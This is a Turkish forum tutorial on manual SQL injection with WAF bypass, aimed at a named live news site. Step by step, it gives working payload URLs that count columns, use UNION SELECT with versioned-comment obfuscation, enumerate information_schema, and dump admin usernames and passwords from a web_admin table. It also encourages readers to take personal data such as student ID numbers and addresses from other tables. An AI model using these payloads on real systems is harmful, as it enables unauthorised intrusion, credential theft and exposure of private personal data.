Arkadaşlar basitten zora doğru bulduğum siteler de manuel SQL injection yaparak waff bypass nasıl geçeriz onu göstereceğim serinin ilk konusuna hoşgeldiniz.
Hedef site:
Kod:
[COLOR="red"] [CENTER]http://www.everday.com/newsdetail.php?id=20'[/CENTER][/COLOR]
Öncelikle bakalım sitemiz de SQL injection açığı varmı?
Hedef sitemizin sonuna " ' " (Tek tırnak) koyuyoruz.
Evet hatamızı aldık.
Sonra sitemizin kaç adet kolonu var ona bakalım bunun için ihtiyacımız olan kodu manuel SQL injection deneyenler biliyor değil mi?
Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+order+by+1--+-[/CENTER] [/COLOR]
Evet 1 yaptığımız da hata ortadan kalkıyor sayfa normal haline dönüyor. 1 kısmında Biz sayfaya hata verdirmeyen son sayıya ulaşmaya çalışıyoruz değil mi? Ee o zaman ben 20 den başlamak istiyorum.
Sql hatasi aldık o zaman 20 den düşük kolonumuz var demektir.
Sırayla 20 den aşşağı "1" "1" eksilterek bakalım hangi sayı da hata almıyoruz?
19 SQL error
18 normal bir şekilde hatasız sayfa geliyor.
Evet şimdi sitemizi hata almadan gösterebildik.
Arkadaşlar bu şekilde uğraşmak yerine başka bir kod deneyelim
Not : arkadaşlar ben 50 den düşük olduğunu tahmin ederek 50 ye kadar yazdım(otomatik yazdırdım uğraşmadım tek tek
Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20+group+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50--+-[/CENTER][/COLOR]
Yaptığımız zaman bakın SQL hatasının altında "INFO: Unknown column '19' in 'group statement' " diyor
Bu da demek oluyor ki kolonumuz 18
Kısa yoldan bulduk ama her site de işe yaramaz.
Dipnot
Kod:
[COLOR="red"] [CENTER]order by da waff geçmediğimiz veya bir sonuç alamadığımız zaman bu kodu veya group by x olarak da deneyebiliriz[/CENTER][/COLOR]
Gelelim kolonlarımızı yansıtmaya
Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]
Evet waff bypass bura da devreye giriyor.
Kod:
[COLOR="red"]Dipnot Bazı waff bypass kodları(temelden ilerliyoruz değil mi?)
/*!50000 xx */
/*!12345 xx */
/*!13337 xx */
/* */
/**_**/[/COLOR]
[/COLOR]
[CODE]
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER]
[/CODE]
Evet sadece union bypasslayarak selecti bypasslamaya gerek kalmadan sitemizdeki zaafiyetli olan kolonlarımızı yansıtmayı başardık.
( kodu yazdığımız da sayfa normal bir şekilde yanıt geliyor ise id değerinin başına "-" (tire) koymamız yeterli olacaktır. Yani id=-20)
Yansıttığımız kolonlardan birini seçelim. Ben 4 numarayı seçiyorum.
Veritabanının adını öğrenelim.
4 yerine database() yazıyoruz dimi? Yani kodumuz
Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]
Ben tek tek yazdırmak yerine group_concat operatörünü kullanıp birden fazla şey yazdırmak istiyorum.
Kod:
[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(database(),0x3a,user(),0x3a,version(),0x3a,@@hostname),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/COLOR]
Evet veritabanı adı user versiyon ve hostname öğrenmiş olduk. Aralarına
Kod:
[COLOR="red"]
Hex = : = 0x3a
Bildiğiniz html = "<Br>" bir alt satıra geçme yani.
[/COLOR]
Koyarak ayrıştırmış oluyoruz.
Şimdi database bağlı tablolarımızı listeleyelim.
Kod:
[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]
Tablolarımız web sitesinde sağa doğru giderek gösterir bizlere bazen ekrana sığmıyor olabiliyor. Bunun için
1-) sayfanın kaynak koduna bakmak yani site başına view-source: yada sağ tık "kaynağı görüntüle
2-) br koduyla tüm tabloları alt alta yazdırmak.
Kod:
[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=database()--+-[/COLOR]
Tablolarımızı alt alta yazdık. Dikkatimi çeken ve bakmamız gereken tablo adımız
= Web_admin değil mi? Şimdi bide kolonlarını yazmaklamı uğraşacağız?
Yada gelin tablo ve kolonları ayrı ayrı çekmekle uğraşmayalım.
Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(table_name,0x3a,column_name,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_schema=database()--+-[/CENTER][/COLOR]
Arkadaşlar kodunuzu dikkatli bir şekilde inceleyelim. Nerde ne yapmışım doğru bir şekilde mantığını kavrayarak öğrenmemiz lazım.her site de bu kadar kolay bir şekilde çekemeyebiliriz
Bizim öğrenmemiz gereken user veya admin bilgileri dimi? Dikkatimi çeken tablo web_admin oldu
Kolonlarını da bakarsak adm_name,adm_pwd var bunları dump edelim şimdi.
Kod:
[COLOR="white"]
[COLOR="red"]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ SELECT 1,2,3,group_concat(adm_name,0x3a,adm_pwd,"<br>"),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+web_admin--+-[/COLOR]
[/COLOR]
Yazdığımız kod kullanıcı adı : kullanıcı şifresi
Olarak tekâbul ediyor.
Veritabanını çektiğimiz de sadece admin kullanıcı adı ve şifresini alıp bırakmayalım. Başka tablolara da bakmayı unutmayalım..
Bu bir üniversite sitesi olsaydı belki de bu tabloların birinde öğrencilerine ait isim,soyisim,email,numara,TC,hangi bölüm, adres gibi şeyler de yer alabilirdi.
Arkadaşlar evet bu waff bypass konusu ama içeriğinde sizi uğraşmaktan kurtaracak bilgiler de yer almakta diye düşünüyorum. Burda yaptığımız manuel SQL injection da sadece union bypass ederek tüm bilgilere ulaşmış olduk ama bu en basit olanıydı.
Soranlar olacaktır evet, union bypassladık ama hala forbidden e takılıyorum?
Manuel SQL injection da bizim kendi sorgumuz da kullandığımız bütün parametrelerinin hepsini de bypasslamaya ihtiyacımız olabilir.
Düşünelim ki union bypassladık ama forbidden takılıyoruz hala
Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+-[/CENTER][/COLOR]
select i bypassladık ve geçtik. Sayılarımızı yazdırdık.
Tablolarımızı yazdırdığımızda karşımıza yine forbidden geliyor varsayalım.
Arkadaşlarım güvenlik duvarı hangi operatöre izin vermiyor bilmiyoruz deneme yanılma yöntemiyle sırayla deniyoruz. Sadece "FROM" operatörünü bypasslayarak da geçebiliriz aşşağıda kodda ki gibi hepsini bypasslayadabiliriz.
Kod:
[COLOR="red"][CENTER]http://www.everday.com/newsdetail.php?id=20 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,/*!50000group_concat(table_name)*/,5,6,7,8,9,10,11,12,13,14,15,16,17,18+/*!12345from*/+/*!information_schema*/.tables+/*!50000where*/+/*!12345table_schema*/=database()--+-[/CENTER][/COLOR]
Şimdilik bu kadar arkadaşlar esenlikler.
Son düzenleme: